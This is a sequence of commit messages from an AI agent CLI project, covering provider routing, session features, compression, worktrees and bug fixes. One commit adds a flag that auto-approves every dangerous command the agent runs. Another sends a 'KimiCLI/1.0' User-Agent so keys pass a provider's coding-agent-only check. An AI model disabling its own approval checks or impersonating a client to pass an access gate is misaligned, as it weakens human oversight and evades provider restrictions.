(gpt-5.4, gpt-5.2) as valid Codex models.
Users can now set provider: "openai" for auxiliary tasks (vision, web
extract, compression) to use OpenAI's API directly with their
OPENAI_API_KEY. This hits api.openai.com/v1 with gpt-4o-mini as the
default model — supports vision since GPT-4o handles image input.
Provider options are now: auto, openrouter, nous, openai, main.
Changes:
- agent/auxiliary_client.py: added _try_openai(), "openai" case in
_resolve_forced_provider(), updated auxiliary_max_tokens_param()
to use max_completion_tokens for OpenAI
- Updated docs: cli-config.yaml.example, AGENTS.md, and user-facing
configuration.md with Common Setups section showing OpenAI,
OpenRouter, and local model examples
- 3 new tests for OpenAI provider resolution
Tests: 2459 passed (was 2429).
Adds clear how-to documentation for changing the vision model, web
extraction model, and compression model to the user-facing docs site
(website/docs/user-guide/configuration.md).
Includes:
- Full auxiliary config.yaml example
- 'Changing the Vision Model' walkthrough with config + env var options
- Provider options table (auto/openrouter/nous/main)
- Multimodal safety warning for vision
- Environment variable reference table
- Updated the warning about OpenRouter-dependent tools to mention
auxiliary model configuration
Major issues fixed:
- Removed dead APIs: artii.herokuapp.com (404 since Heroku free tier
ended 2022), patorjk.com TAAG AJAX endpoint (404)
- Removed unusable sources: emojicombos.com (3.3MB JS blob, not
curl-accessible), asciiart.eu (art loads via JavaScript only)
New working sources added:
- asciified API (asciified.thelicato.io): free text-to-ASCII REST API,
250+ FIGlet fonts, returns plain text, no auth — perfect remote
alternative when pyfiglet isn't installed
- ascii.co.uk: classic ASCII art archive, art in <pre> tags,
extractable with simple curl + Python parsing
- qrenco.de: QR codes as ASCII art via curl
- wttr.in: weather and moon phase as ASCII art via curl
Also fixed: Tool 6 no longer relies on web_extract inside
execute_code (which was the original #662 bug). All web lookups
now use terminal curl which is universally available.
Clear how-to documentation for changing the vision model, web extraction
model, and compression model. Includes config.yaml examples, env var
alternatives, provider options table, and multimodal safety notes.
Improvements on top of PR #606 (auxiliary model configuration):
1. Gateway bridge: Added auxiliary.* and compression.summary_provider
config bridging to gateway/run.py so config.yaml settings work from
messaging platforms (not just CLI). Matches the pattern in cli.py.
2. Vision auto-fallback safety: In auto mode, vision now only tries
OpenRouter + Nous Portal (known multimodal-capable providers).
Custom endpoints, Codex, and API-key providers are skipped to avoid
confusing errors from providers that don't support vision input.
Explicit provider override (AUXILIARY_VISION_PROVIDER=main) still
allows using any provider.
3. Comprehensive tests (46 new):
- _get_auxiliary_provider env var resolution (8 tests)
- _resolve_forced_provider with all provider types (8 tests)
- Per-task provider routing integration (4 tests)
- Vision auto-fallback safety (7 tests)
- Config bridging logic (11 tests)
- Gateway/CLI bridge parity (2 tests)
- Vision model override via env var (2 tests)
- DEFAULT_CONFIG shape validation (4 tests)
4. Docs: Added auxiliary_client.py to AGENTS.md project structure.
Updated module docstring with separate text/vision resolution chains.
Tests: 2429 passed (was 2383).
- Added support for auxiliary model overrides in the configuration, allowing users to specify providers and models for vision and web extraction tasks.
- Updated the CLI configuration example to include new auxiliary model settings.
- Enhanced the environment variable mapping in the CLI to accommodate auxiliary model configurations.
- Improved the resolution logic for auxiliary clients to support task-specific provider overrides.
- Updated relevant documentation and comments for clarity on the new features and their usage.
- sessions.md: New 'Conversation Recap on Resume' subsection with visual
example, feature bullet points, and config snippet
- cli.md: New 'Session Resume Display' subsection with cross-reference
- configuration.md: Add resume_display to display settings YAML block
- AGENTS.md: Add _preload_resumed_session() and _display_resumed_history()
to key components, add UX note about resume panel
Add contextual [Hint: ...] suffixes to tool results where they save
real iterations:
- patch (no match): suggests read_file/search_files to verify content
before retrying — addresses the common pattern where the agent retries
with stale old_string instead of re-reading the file.
- search_files (truncated): provides explicit next offset and suggests
narrowing the search — clearer than relying on total_count inference.
Other hints proposed in #722 (terminal, web_search, web_extract,
browser_snapshot, search zero-results, search content-matches) were
evaluated and found to be low-value: either already covered by existing
mechanisms (read_file pagination, similar-files, schema descriptions)
or guidance the agent already follows from its own reasoning.
5 new tests covering hint presence/absence for both tools.
When resuming a session via --continue or --resume, show a compact recap
of the previous conversation inside a Rich panel before the input prompt.
This gives users immediate visual context about what was discussed.
Changes:
- Add _preload_resumed_session() to load session history early (in run(),
before banner) so _init_agent() doesn't need a separate DB round-trip
- Add _display_resumed_history() that renders a formatted recap panel:
* User messages shown with gold bullet (truncated at 300 chars)
* Assistant responses shown with green diamond (truncated at 200 chars / 3 lines)
* Tool calls collapsed to count + tool names
* System messages and tool results hidden
* <REASONING_SCRATCHPAD> blocks stripped from display
* Pure-reasoning messages (no visible output) skipped entirely
* Capped at last 10 exchanges with 'N earlier messages' indicator
* Dim/muted styling distinguishes recap from active conversation
- Add display.resume_display config option: 'full' (default) or 'minimal'
- Store resume_display as instance variable (like compact) for testability
- 27 new tests covering all display scenarios, config, and edge cases
Closes#719
NOUS_API_KEY is unused — vision tools use OPENROUTER_API_KEY or Nous
Portal OAuth (auth.json), and MoA tools use OPENROUTER_API_KEY.
Removed from:
- hermes_cli/config.py: api_keys allowlist for config set routing
- .env.example: example env file entry and comment
- tests/hermes_cli/test_set_config_value.py: parametrize test data
- tests/integration/test_web_tools.py: updated comments and log
messages to reference 'auxiliary LLM provider' instead of NOUS_API_KEY
No HECATE references found in codebase (already cleaned up).
Add `hermes sessions browse` — a curses-based interactive session picker
with live type-to-search filtering, arrow key navigation, and seamless
session resume via Enter.
Features:
- Arrow keys to navigate, Enter to select and resume, Esc/q to quit
- Type characters to live-filter sessions by title, preview, source, or ID
- Backspace to edit filter, first Esc clears filter, second Esc exits
- Adaptive column layout (title/preview, last active, source, ID)
- Scrolling support for long session lists
- --source flag to filter by platform (cli, telegram, discord, etc.)
- --limit flag to control how many sessions to load (default: 50)
- Windows fallback: numbered list with input prompt
- After selection, seamlessly execs into `hermes --resume <id>`
Design decisions:
- Separate subcommand (not a flag on -c) — preserves `hermes -c` as-is
for instant most-recent-session resume
- Uses curses (not simple_term_menu) per Known Pitfalls to avoid the
arrow-key ghost-duplication rendering bug in tmux/iTerm
- Follows existing curses pattern from hermes_cli/tools_config.py
Also fixes: removed redundant `import os` inside cmd_sessions stats
block that shadowed the module-level import (would cause UnboundLocalError
if browse action was taken in the same function).
Tests: 33 new tests covering curses picker, fallback mode, filtering,
navigation, edge cases, and argument parser registration.
Verifies that setup.py imports the correct function name
(get_codex_model_ids) from codex_models.py. This would have caught
the ImportError bug before it reached users.
Source code (hermes_cli/clipboard.py):
- _convert_to_png() lost the file when both Pillow and ImageMagick were
unavailable: path.rename(tmp) moved the file to .bmp, then subprocess.run
raised FileNotFoundError, but the file was never renamed back. The final
fallback 'return path.exists()' returned False.
- Fix: restore the original file in both except handlers by renaming tmp
back to path when the original is missing.
Test (tests/tools/test_clipboard.py):
- test_file_still_usable_when_no_converter expected 'from PIL import Image'
to raise an Exception, but Pillow is installed so pytest.raises fired
'DID NOT RAISE'. The test also never called _convert_to_png().
- Fix: properly mock PIL unavailability via patch.dict(sys.modules),
actually call _convert_to_png(), and assert the correct result.
Previously, --worktree printed a yellow warning and continued without
isolation, silently defeating the purpose of the flag. Now it prints
a clear error message and exits immediately.
Add a detailed section for /compress in the CLI Commands Reference,
explaining what it does, when to use it, requirements, and output format.
Previously only had a one-line table entry.
Telegram: add /insights, /update, /reload_mcp (underscore variant since
Telegram BotCommand names don't allow hyphens).
Discord: add /insights (with days parameter), /reload-mcp.
Also add reload_mcp as an alias for reload-mcp in the gateway command
dispatcher so Telegram's underscore form works, and add resume/provider
to the _known_commands set for hook emission.
Add /title, /resume, /compress, /provider, /usage to Telegram's
set_my_commands so they appear in the / autocomplete menu.
Add /title, /resume, /compress, /provider, /usage, /help as Discord
slash commands so they appear in Discord's native command picker.
These commands were functional via text but not registered with the
platform-native command menus, so users couldn't discover them.
Messaging users can now switch back to previously-named sessions:
- /resume My Project — resolves the title (with auto-lineage) and
restores that session's conversation history
- /resume (no args) — lists recent titled sessions to choose from
Adds SessionStore.switch_session() which ends the current session and
points the session entry at the target session ID so the old transcript
is loaded on the next message. Running agents are cleared on switch.
Completes the session naming feature from PR #720 for gateway users.
8 new tests covering: name resolution, lineage auto-latest, already-on-
session check, nonexistent names, agent cleanup, no-DB fallback, and
listing titled sessions.
When _ensure_runtime_credentials() resolves the provider to openai-codex,
check if the active model is Codex-compatible. If not (e.g. the default
anthropic/claude-opus-4.6), swap it for the best available Codex model.
Also strips provider prefixes the Codex API rejects (openai/gpt-5.3-codex
→ gpt-5.3-codex).
Adds _model_is_default flag so warnings are only shown when the user
explicitly chose an incompatible model (not when it's the config default).
Fixes#651.
Co-inspired-by: stablegenius49 (PR #661)
Co-inspired-by: teyrebaz33 (PR #696)
Previously, search_files would silently return 0 results when the
search path didn't exist (e.g., /root/.hermes/... when HOME is
/home/user). The path was passed to rg/grep/find which would fail
silently, and the empty stdout was parsed as 'no matches found'.
Changes:
- Add path existence check at the top of search() using test -e.
Returns SearchResult with a clear error message when path doesn't exist.
- Add exit code 2 checks in _search_with_rg() and _search_with_grep()
as secondary safety net for other error types (bad regex, permissions).
- Add 4 new tests covering: nonexistent path (content mode), nonexistent
path (files mode), existing path proceeds normally, rg error exit code.
Tests: 37 → 41 in test_file_operations.py, full suite 2330 passed.
Adds a fun alias for skipping all dangerous command approval prompts.
When passed, sets HERMES_YOLO_MODE=1 which causes check_dangerous_command()
to auto-approve everything.
Available on both top-level and chat subcommand:
hermes --fuck-it-ship-it
hermes chat --fuck-it-ship-it
Includes 5 tests covering normal blocking, yolo bypass, all patterns,
and edge cases (empty string env var).
- website/docs/user-guide/sessions.md: New 'Session Naming' section
with /title usage, title rules, auto-lineage, gateway support.
Updated 'Resume by Name' section, 'Rename a Session' subsection,
updated sessions list output format, updated DB schema description.
- website/docs/reference/cli-commands.md: Added -c "name" and
--resume by title to Core Commands, sessions rename to Sessions
table, /title to slash commands.
- website/docs/user-guide/cli.md: Added -c "name" and --resume by
title to resume options.
- AGENTS.md: Added -c, --resume, sessions list/rename to CLI commands
table. Added hermes_state.py to project structure.
- CONTRIBUTING.md: Updated hermes_state.py and session persistence
descriptions to mention titles.
- hermes_cli/main.py: Fixed sessions help string to include 'rename'.
- Empty string titles normalized to None (prevents uncaught IntegrityError
when two sessions both get empty-string titles via the unique index)
- Escape SQL LIKE wildcards (%, _) in resolve_session_by_title and
get_next_title_in_lineage to prevent false matches on titles like
'test_project' matching 'testXproject #2'
- Optimize list_sessions_rich from N+2 queries to a single query with
correlated subqueries (preview + last_active computed in SQL)
- Add /title slash command to gateway (Telegram, Discord, Slack, WhatsApp)
with set and show modes, uniqueness conflict handling
- Add /title to gateway /help text and _known_commands
- 12 new tests: empty string normalization, multi-empty-title safety,
SQL wildcard edge cases, gateway /title set/show/conflict/cross-platform
These two files were creating bare OpenAI clients pointing at OpenRouter
without the HTTP-Referer / X-OpenRouter-Title / X-OpenRouter-Categories
headers that the rest of the codebase sends for app attribution.
- skills_guard.py: LLM audit client (always OpenRouter)
- trajectory_compressor.py: sync + async summarization clients
(guarded with 'openrouter' in base_url check since the endpoint
is user-configurable)
Two 'except Exception: pass' blocks silently hide failures:
- mirror_to_session failure: user's message never gets mirrored, no trace
- config.yaml parse failure: wrong model used silently
Replace with logger.warning so failures are visible in logs.
Completed/cancelled items are now filtered from format_for_injection()
output. Update the existing test to verify active items appear and
completed items are excluded.
The setup wizard imported `get_codex_models` which does not exist;
the actual function is `get_codex_model_ids`. This caused a runtime
ImportError when selecting the openai-codex provider during setup.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Block file reads after 3+ re-reads of same region (no content returned)
- Track search_files calls and block repeated identical searches
- Filter completed/cancelled todos from post-compression injection
to prevent agent from re-doing finished work
- Add 10 new tests covering all three fixes
When context compression summarizes conversation history, the agent
loses track of which files it already read and re-reads them in a loop.
Users report the agent reading the same files endlessly without writing.
Root cause: context compression is lossy — file contents and read history
are lost in the summary. After compression, the model thinks it hasn't
examined the files yet and reads them again.
Fix (two-part):
1. Track file reads per task in file_tools.py. When the same file region
is read again, include a _warning in the response telling the model
to stop re-reading and use existing information.
2. After context compression, inject a structured message listing all
files already read in the session with explicit "do NOT re-read"
instruction, preserving read history across compression boundaries.
Adds 16 tests covering warning detection, task isolation, summary
accuracy, tracker cleanup, and compression history injection.
Call ensure_hub_dirs() at the start of hermes skills list so the\nSkills Hub directory structure is created before reading hub\nmetadata.\n\nAdd a regression test covering the empty-home path where\ndoctor recommends running the list command.\n\nRefs: #703
Images pasted in the CLI were embedded as raw base64 image_url content
parts in the conversation history, which only works with vision-capable
models. If the main model (e.g. Nous API) doesn't support vision, this
breaks the request and poisons all subsequent messages.
Now the CLI uses the same approach as the messaging gateway: images are
pre-processed through the auxiliary vision model (Gemini Flash via
OpenRouter or Nous Portal) and converted to text descriptions. The
local file path is included so the agent can re-examine via
vision_analyze if needed. Works with any model.
Fixes#638.
User messaging improvements:
- Rejection: '(>_<) Error: not a valid model' instead of '(^_^) Warning: Error:'
- Rejection: shows 'Model unchanged' + tip about /model and /provider
- Session-only: explains 'this session only' with reason and 'will revert on restart'
- Saved: clear '(saved to config)' confirmation
Docs updated:
- cli-commands.md, cli.md, messaging/index.md: /model now shows
provider:model syntax, /provider command added to tables
Test fixes: deduplicated test names, assertions match new messages.
/provider command (CLI + gateway):
Shows all providers with auth status (✓/✗), aliases, and active marker.
Users can now discover what provider names work with provider:model syntax.
Gateway bugs fixed:
- Config was saved even when validation.persist=False (told user 'session
only' but actually persisted the unvalidated model)
- HERMES_INFERENCE_PROVIDER env var not set on provider switch, causing
the switch to be silently overridden if that env var was already set
parse_model_input hardened:
- Colon only treated as provider delimiter if left side is a recognized
provider name or alias. 'anthropic/claude-3.5-sonnet:beta' now passes
through as a model name instead of trying provider='anthropic/claude-3.5-sonnet'.
- HTTP URLs, random colons no longer misinterpreted.
56 tests passing across model validation, CLI commands, and integration.
'auto' doesn't always mean openrouter — it could be nous, zai,
kimi-coding, etc. depending on configured credentials. Reverted the
hardcoded mapping and now both CLI and gateway call
resolve_provider() to detect the actual active provider when 'auto'
is set. Falls back to openrouter only if resolution fails.
Added a system to track environment variables introduced in each config version, allowing migration prompts to only mention new variables since the user's last version. Updated the interactive configuration process to offer users the option to set these new optional keys during migration.
- normalize_provider('auto') now returns 'openrouter' (the default)
so /model shows the curated model list instead of nothing
- CLI /model display uses normalize_provider before looking up labels
- Gateway /model handler now uses the same validation logic as CLI:
live API probe, provider:model syntax, curated model list display
Add provider:model syntax to /model command for runtime provider switching:
/model zai:glm-5 → switch to Z.AI provider with glm-5
/model nous:hermes-3 → switch to Nous Portal with hermes-3
/model openrouter:anthropic/claude-sonnet-4.5 → explicit OpenRouter
When switching providers, credentials are resolved via resolve_runtime_provider
and validated before committing. Both model and provider are saved to config.
Provider aliases work (glm: → zai, kimi: → kimi-coding, etc.).
Enhanced /model (no args) display now shows:
- Current model and provider
- Curated model list for the current provider with ← marker
- Usage examples including provider:model syntax
39 tests covering parse_model_input, curated_models_for_provider,
provider switching (success + credential failure), and display output.
The 200 lines of prompt_toolkit/rich/fire stubs added in PR #650 were
guarded by 'if module in sys.modules: return' and never activated since
those dependencies are always installed. Removed to keep the test file
lean. Also removed unused MagicMock and pytest imports.
Not all providers require 'provider/model' format. Removing the rigid
format check lets the live API probe handle all validation uniformly.
If someone types 'gpt-5.4' on OpenRouter, the probe won't find it and
will suggest 'openai/gpt-5.4' — better UX than a format rejection.
Replace the static catalog-based model validation with a live API probe.
The /model command now hits the provider's /models endpoint to check if
the requested model actually exists:
- Model found in API → accepted + saved to config
- Model NOT found in API → rejected with 'Error: not a valid model'
and fuzzy-match suggestions from the live model list
- API unreachable → graceful fallback to hardcoded catalog (session-only
for unrecognized models)
- Format errors (empty, spaces, missing '/') still caught instantly
without a network call
The API probe takes ~0.2s for OpenRouter (346 models) and works with any
OpenAI-compatible endpoint (Ollama, vLLM, custom, etc.).
32 tests covering all paths: format checks, API found, API not found,
API unreachable fallback, CLI integration.
- Wrap validate_requested_model in try/except so /model doesn't crash
if validation itself fails (falls back to old accept+save behavior)
- Remove unnecessary sys.path.insert from both test files
- Expand test_model_validation.py: 4 → 23 tests covering normalize_provider,
provider_model_ids, empty/whitespace/spaces rejection, OpenRouter format
validation, custom endpoints, nous provider, provider aliases, unknown
providers, fuzzy suggestions
- Expand test_cli_model_command.py: 2 → 5 tests adding known-model save,
validation crash fallback, and /model with no argument
Updated the systemd unit generation to include the virtual environment and node modules in the PATH, improving the execution context for the hermes CLI. Additionally, added support for installing Playwright and its dependencies on Arch/Manjaro systems in the install script, ensuring a smoother setup process for browser tools.
Enhanced the environment setup for browser commands by ensuring the PATH variable includes standard directories, addressing potential issues with minimal PATH in systemd services. Additionally, updated the logging of stderr to use a warning level on failure for better visibility of errors. This change improves the robustness of subprocess execution in the browser tool.
Renamed _find_shell to _find_bash to clarify its purpose of specifically locating bash. Improved the shell detection logic to prioritize bash over the user's $SHELL, ensuring compatibility with the fence wrapper's syntax requirements. Added a backward compatibility alias for _find_shell to maintain existing imports in process_registry.py.
Updated the LocalEnvironment class to ensure the PATH variable includes standard directories. This change addresses issues with systemd services and terminal multiplexers that inherit a minimal PATH, improving the execution environment for subprocesses.
Updated the _find_shell function to improve shell detection on non-Windows systems. The function now checks for the existence of /usr/bin/bash and /bin/bash before falling back to /bin/sh, ensuring a more robust shell resolution process.
Two fixes:
1. Gateway CWD override: TERMINAL_CWD from config.yaml was being
unconditionally overwritten by the messaging_cwd fallback (line 114).
Now explicit paths in config.yaml are respected — only '.' / 'auto' /
'cwd' (or unset) fall back to MESSAGING_CWD or home directory.
2. sandbox_dir config: Added terminal.sandbox_dir to config.yaml bridge
in gateway/run.py, cli.py, and hermes_cli/config.py. Maps to
TERMINAL_SANDBOX_DIR env var, which get_sandbox_dir() reads to
determine where Docker/Singularity sandbox data is stored (default:
~/.hermes/sandboxes/). Users can now set:
hermes config set terminal.sandbox_dir /data/hermes-sandboxes
Skills can now declare runtime prerequisites (env vars, CLI binaries) via
YAML frontmatter. Skills with unmet prerequisites are excluded from the
system prompt so the agent never claims capabilities it can't deliver, and
skill_view() warns the agent about what's missing.
Three layers of defense:
- build_skills_system_prompt() filters out unavailable skills
- _find_all_skills() flags unmet prerequisites in metadata
- skill_view() returns prerequisites_warning with actionable details
Tagged 12 bundled skills that have hard runtime dependencies:
gif-search (TENOR_API_KEY), notion (NOTION_API_KEY), himalaya, imessage,
apple-notes, apple-reminders, openhue, duckduckgo-search, codebase-inspection,
blogwatcher, songsee, mcporter.
Closes#658Fixes#630
Removed the hard block on base_url containing 'api.anthropic.com'.
Anthropic now offers an OpenAI-compatible /chat/completions endpoint,
so blocking their URL prevents legitimate use. If the endpoint isn't
compatible, the API call will fail with a proper error anyway.
Removed from: run_agent.py, mini_swe_runner.py
Updated test to verify Anthropic URLs are accepted.
browser_vision now saves screenshots persistently to ~/.hermes/browser_screenshots/
and returns the screenshot_path in its JSON response. The model can include
MEDIA:<path> in its response to share screenshots as native photos.
Changes:
- browser_tool.py: Save screenshots persistently, return screenshot_path,
auto-cleanup files older than 24 hours, mkdir moved inside try/except
- telegram.py: Add send_image_file() — sends local images via bot.send_photo()
- discord.py: Add send_image_file() — sends local images via discord.File
- slack.py: Add send_image_file() — sends local images via files_upload_v2()
(WhatsApp already had send_image_file — no changes needed)
- prompt_builder.py: Updated Telegram hint to list image extensions,
added Discord and Slack MEDIA: platform hints
- browser.md: Document screenshot sharing and 24h cleanup
- send_file_integration_map.md: Updated to reflect send_image_file is now
implemented on Telegram/Discord/Slack
- test_send_image_file.py: 19 tests covering MEDIA: .png extraction,
send_image_file on all platforms, and screenshot cleanup
Partially addresses #466 (Phase 0: platform adapter gaps for send_image_file).
Authored by christomitov. Auto-detects sk-kimi- key prefix and routes
to api.kimi.com/coding/v1. Adds User-Agent header for Kimi Code API
compatibility. Legacy Moonshot keys continue to work unchanged.
Adds --worktree (-w) flag to hermes CLI for isolated git worktree sessions.
Multiple agents can work on the same repo concurrently without collisions.
Closes#652
Telegram's send_photo via URL has a ~5MB limit. Upscaled images from
fal.ai's Clarity Upscaler often exceed this, causing 'Wrong type of
web page content' or 'Failed to get http url content' errors.
Fix: Add download-and-upload fallback in Telegram's send_image().
When URL-based send_photo fails, download the image via httpx and
re-upload as bytes (supports up to 10MB file uploads).
Also: convert print() to logger.warning/error in image sending path
for proper log visibility (print goes to socket, invisible in logs).
Critical fixes:
- Add --worktree/-w to hermes_cli/main.py argparse (both chat
subcommand and top-level parser) so 'hermes -w' works via the
actual CLI entry point, not just 'python cli.py -w'
- Pass worktree flag through cmd_chat() kwargs to cli_main()
- Handle worktree attr in bare 'hermes' and --resume/--continue paths
Bug fixes in cli.py:
- Skip worktree creation for --list-tools/--list-toolsets (wasteful)
- Wrap git worktree subprocess.run in try/except (crash on timeout)
- Add stale worktree pruning on startup (_prune_stale_worktrees):
removes clean worktrees older than 24h left by crashed/killed sessions
Documentation updates:
- AGENTS.md: add --worktree to CLI commands table
- cli-config.yaml.example: add worktree config section
- website/docs/reference/cli-commands.md: add to core commands
- website/docs/user-guide/cli.md: add usage examples
- website/docs/user-guide/configuration.md: add config docs
Test improvements (17 → 31 tests):
- Stale worktree pruning (prune old clean, keep recent, keep dirty)
- Directory symlink via .worktreeinclude
- Edge cases (no commits, not a repo, pre-existing .worktrees/)
- CLI flag/config OR logic
- TERMINAL_CWD integration
- System prompt injection format
Add a --worktree (-w) flag to the hermes CLI that creates an isolated
git worktree for the session. This allows running multiple hermes-agent
instances concurrently on the same repo without file collisions.
How it works:
- On startup with -w: detects git repo, creates .worktrees/<session>/
with its own branch (hermes/<session-id>), sets TERMINAL_CWD to it
- Each agent works in complete isolation — independent HEAD, index,
and working tree, shared git object store
- On exit: auto-removes worktree and branch if clean, warns and
keeps if there are uncommitted changes
- .worktreeinclude file support: list gitignored files (.env, .venv/)
to auto-copy/symlink into new worktrees
- .worktrees/ is auto-added to .gitignore
- Agent gets a system prompt note about the worktree context
- Config support: set worktree: true in config.yaml to always enable
Usage:
hermes -w # Interactive mode in worktree
hermes -w -q "Fix issue #123" # Single query in worktree
# Or in config.yaml:
worktree: true
Includes 17 tests covering: repo detection, worktree creation,
independence verification, cleanup (clean/dirty), .worktreeinclude,
.gitignore management, and 10 concurrent worktrees.
Closes#652
Add official optional skill for qmd (tobi/qmd), a local on-device
search engine for personal knowledge bases, notes, docs, and meeting
transcripts.
Covers:
- Installation and setup for macOS and Linux
- Collection management and context annotations
- All search modes: BM25, vector, hybrid with reranking
- MCP integration (stdio and HTTP daemon modes)
- Structured query patterns and best practices
- systemd/launchd service configs for daemon persistence
Placed in optional-skills/ due to heavyweight requirements
(Node >= 22, ~2GB local models).
Long-lived gateway sessions can accumulate enough history that every new
message rehydrates an oversized transcript, causing repeated truncation
failures (finish_reason=length).
Add a session hygiene check in _handle_message that runs right after
loading the transcript and before invoking the agent:
1. Estimate message count and rough token count of the transcript
2. If above configurable thresholds (default: 200 msgs or 100K tokens),
auto-compress the transcript proactively
3. Notify the user about the compression with before/after stats
4. If still above warn threshold (default: 200K tokens) after
compression, suggest /reset
5. If compression fails on a dangerously large session, warn the user
to use /compress or /reset manually
Thresholds are configurable via config.yaml:
session_hygiene:
auto_compress_tokens: 100000
auto_compress_messages: 200
warn_tokens: 200000
This complements the agent's existing preflight compression (which
runs inside run_conversation) by catching pathological sessions at
the gateway layer before the agent is even created.
Includes 12 tests for threshold detection and token estimation.
The web_extract_tool was stripping the 'url' key during its output
trimming step, but documentation in 3 places claimed it was present.
This caused KeyError when accessing result['url'] in execute_code
scripts, especially when extracting from multiple URLs.
Changes:
- web_tools.py: Add 'url' back to trimmed_results output
- code_execution_tool.py: Add 'title' to _TOOL_STUBS docstring and
_TOOL_DOC_LINES so docs match actual {url, title, content, error}
response format
Kimi Code (platform.kimi.ai) issues API keys prefixed sk-kimi- that require:
1. A different base URL: api.kimi.com/coding/v1 (not api.moonshot.ai/v1)
2. A User-Agent header identifying a recognized coding agent
Without this fix, sk-kimi- keys fail with 401 (wrong endpoint) or 403
('only available for Coding Agents') errors.
Changes:
- Auto-detect sk-kimi- key prefix and route to api.kimi.com/coding/v1
- Send User-Agent: KimiCLI/1.0 header for Kimi Code endpoints
- Legacy Moonshot keys (api.moonshot.ai) continue to work unchanged
- KIMI_BASE_URL env var override still takes priority over auto-detection
- Updated .env.example with correct docs and all endpoint options
- Fixed doctor.py health check for Kimi Code keys
Reference: https://github.com/MoonshotAI/kimi-cli (platforms.py)
Adds market-data/polymarket skill — read-only access to Polymarket's public
prediction market APIs. Zero dependencies, zero auth required.
Addresses #589.
Adds a new market-data/polymarket skill for querying Polymarket's public
prediction market APIs. Pure read-only, zero authentication required,
zero external dependencies (stdlib only).
Includes:
- SKILL.md: Agent instructions with key concepts and workflow
- references/api-endpoints.md: Full API reference (Gamma, CLOB, Data APIs)
- scripts/polymarket.py: CLI helper for search, trending, prices, orderbooks,
price history, and recent trades
Addresses #589.
Root cause: fal_client.AsyncClient uses @cached_property for its
httpx.AsyncClient, creating it once and caching forever. In the gateway,
the agent runs in a thread pool where _run_async() calls asyncio.run()
which creates a temporary event loop. The first call works, but
asyncio.run() closes that loop. On the next call, a new loop is created
but the cached httpx.AsyncClient still references the old closed loop,
causing 'Event loop is closed'.
Fix: Switch from async fal_client API (submit_async/handler.get with
await) to sync API (submit/handler.get). The sync API uses httpx.Client
which has no event loop dependency. Since the tool already runs in a
thread pool via the gateway, async adds no benefit here.
Changes:
- image_generate_tool: async def -> def
- _upscale_image: async def -> def
- fal_client.submit_async -> fal_client.submit
- await handler.get() -> handler.get()
- is_async=True -> is_async=False in registry
- Remove unused asyncio import
Authored by voidborne-d. Fixes#576.
Adds --replace flag to 'hermes gateway run' that terminates any existing
gateway instance (SIGTERM with SIGKILL fallback) before starting.
Updated systemd unit template with --replace, ExecStop, KillMode, and
TimeoutStopSec for robust service management.
The /clear command was using Rich's console.clear() and console.print()
which write directly to stdout. Inside the TUI, prompt_toolkit's
patch_stdout intercepts stdout via StdoutProxy, which doesn't interpret
screen-clearing escape sequences and mangles Rich's ANSI output,
resulting in raw escape codes dumped to the terminal.
Fix:
- Use prompt_toolkit's output.erase_screen() + cursor_goto() to clear
the terminal directly (bypasses patch_stdout's StdoutProxy)
- Render the banner through ChatConsole (which routes Rich output
through prompt_toolkit's native print_formatted_text/ANSI renderer)
- Use _cprint for the status message (prompt_toolkit-compatible)
- Fall back to the old behavior when not inside the TUI (e.g. startup)
- Add max_concurrent_tasks config (default 8) with semaphore in TB2 eval
- Pass cwd: /app via register_task_env_overrides for TB2 tasks
- Add /home/ to host path prefixes as safety net for container backends
When all 86 TerminalBench2 tasks fire simultaneously, each creates a Modal sandbox
via asyncio.run() inside a thread pool worker. Modal's blocking calls deadlock
when too many are created at once. The semaphore ensures max 8 concurrent creations.
Co-Authored-By: hermes-agent[bot] <hermes-agent[bot]@users.noreply.github.com>
Updated the _generate_summary method to attempt summary generation using the auxiliary model first, with a fallback to the main model. If both attempts fail, the method now returns None instead of a placeholder, allowing the caller to handle missing summaries appropriately. This change enhances the robustness of context compression and improves logging for failure scenarios.
Added support for loading reasoning configuration, prefill messages, and provider routing from environment variables or config.yaml in the run_job function. This improves flexibility and customization for job execution, allowing for better control over agent behavior and message handling.
Enhanced the _run_single_child function by introducing max_tokens, reasoning_config, and prefill_messages parameters from the parent agent. This allows for more flexible configuration of child agents, improving their operational capabilities.
Previously, when a session expired (idle/daily reset), the memory flush
ran synchronously inside get_or_create_session — blocking the user's
message for 10-60s while an LLM call saved memories.
Now a background watcher task (_session_expiry_watcher) runs every 5 min,
detects expired sessions, and flushes memories proactively in a thread
pool. By the time the user sends their next message, memories are
already saved and the response is immediate.
Changes:
- Add _is_session_expired(entry) to SessionStore — works from entry
alone without needing a SessionSource
- Add _pre_flushed_sessions set to track already-flushed sessions
- Remove sync _on_auto_reset callback from get_or_create_session
- Refactor flush into _flush_memories_for_session (sync worker) +
_async_flush_memories (thread pool wrapper)
- Add _session_expiry_watcher background task, started in start()
- Simplify /reset command to use shared fire-and-forget flush
- Add 10 tests for expiry detection, callback removal, tracking
Reduces token usage and latency for most tasks by defaulting to
medium reasoning effort instead of xhigh. Users can still override
via config or CLI flag. Updates code, tests, example config, and docs.
When running under systemd, the gateway could enter restart loops in two
scenarios:
1. The previous gateway process hasn't fully exited when systemd starts
a new one, causing 'Gateway already running (PID ...)' → exit 1 →
restart → same error → infinite loop.
2. The interactive CLI exits immediately in non-TTY mode, and systemd
keeps restarting it.
Changes:
- Add --replace flag to 'hermes gateway run' that gracefully kills any
existing gateway instance (SIGTERM → wait 10s → SIGKILL) before
starting, preventing the PID-lock deadlock.
- Update the generated systemd unit template to use --replace by default,
add ExecStop for clean shutdown, set KillMode=mixed and
TimeoutStopSec=15 for proper process management.
- Existing behavior (without --replace) is unchanged: still prints the
error message and exits, now also mentioning the --replace option.
Fixes#576
Eliminated the model parameter from the AIAgent class initialization, streamlining the constructor and ensuring consistent behavior across agent instances. This change aligns with recent updates to the task delegation logic.
Added functionality to detect the appropriate Z.AI endpoint based on the provided API key, accommodating different billing plans and regions. The setup process now probes available endpoints and updates the configuration accordingly, enhancing user experience and reducing potential billing errors. Updated the setup model provider function to integrate this new detection logic.
Eliminated the model parameter from the delegate_task function and its associated schema, defaulting to None for subagent calls. This change simplifies the function signature and enforces consistent behavior across task delegation.
Added logic to manage multiple compression attempts for large payloads and context length errors. Introduced limits on compression attempts to prevent infinite retries, with appropriate logging and error handling. This ensures better resilience and user feedback when facing compression issues during API calls.
_incomplete_scratchpad_retries and _codex_incomplete_retries were not
reset at the start of run_conversation(). In CLI mode, where the same
AIAgent instance is reused across conversations, stale counters from
a previous conversation could carry over, causing premature retry
exhaustion and partial responses.
